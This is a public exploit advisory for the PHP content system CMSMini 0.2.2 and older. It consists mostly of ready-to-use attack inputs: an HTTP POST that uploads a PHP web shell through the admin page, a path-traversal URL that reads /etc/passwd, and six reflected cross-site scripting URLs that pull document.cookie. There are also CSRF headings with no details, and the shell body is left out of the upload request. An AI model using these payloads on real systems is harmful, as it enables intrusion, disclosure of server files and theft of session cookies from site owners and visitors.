------------------------------------------------------------------------------------------
# Exploit Title: CMSMini - Multiple Vulnerability
# Author: SANTHO (@s4n7h0)
# Vendor Homepage: http://sourceforge.net/projects/cmsmini/
# Download link:
downloads.sourceforge.net/project/cmsmini/cmsmini/cmsmini-0.2.2/cmsmini-0.2.2.tar.gz
# Category: CMS/Webapps/PHP
# Version: 0.2.2 + older
------------------------------------------------------------------------------------------
File Upload
^^^^^^^^^^^^^^
URL : http://[target/IP]/cmsmini/admin/index.php?path=&op=newitem
POST /cmsmini/admin/index.php?path=&op=newitem HTTP/1.1
Host: 192.168.15.162
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.15.162/cmsmini/admin/index.php?path=
Cookie: PHPSESSID=in6suoa2o1q8ilrtgovjdtcl52
Connection: keep-alive
Content-Type: multipart/form-data;
boundary=---------------------------219313096530417
Content-Length: 1130
-----------------------------219313096530417
Content-Disposition: form-data; name="imagefile"; filename="cmd.php"
Content-Type: application/octet-stream
# The uploaded shell can be accessible http://
[target/IP]/cmsmini/pages/cmd.php
Activate Page by CSRF
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Delete Page by CSRF
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Change Page Title by CSRF
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File Inclusion
^^^^^^^^^^^^^^^^^
http://
[target/IP]/cmsmini/admin/edit.php?path=&name=../../../../../etc/passwd
Multiple Cross Site Scripting
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
http://
[target/IP]/cmsmini/admin/?path=%22%20%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://
[target/IP]/cmsmini/admin/configure.php?path=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
http://
[target/IP]/cmsmini/admin/configure.php?path=&name=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
http://
[target/IP]/cmsmini/admin/edit.php?path=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E&name=testing.html
http://
[target/IP]/cmsmini/admin/edit.php?path=&name=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
http://
[target/IP]/cmsmini/admin/index.php?path=%3Cscript%3Ealert(document.cookie);%3C/script%3E
--
SANTHO
twitter : @s4n70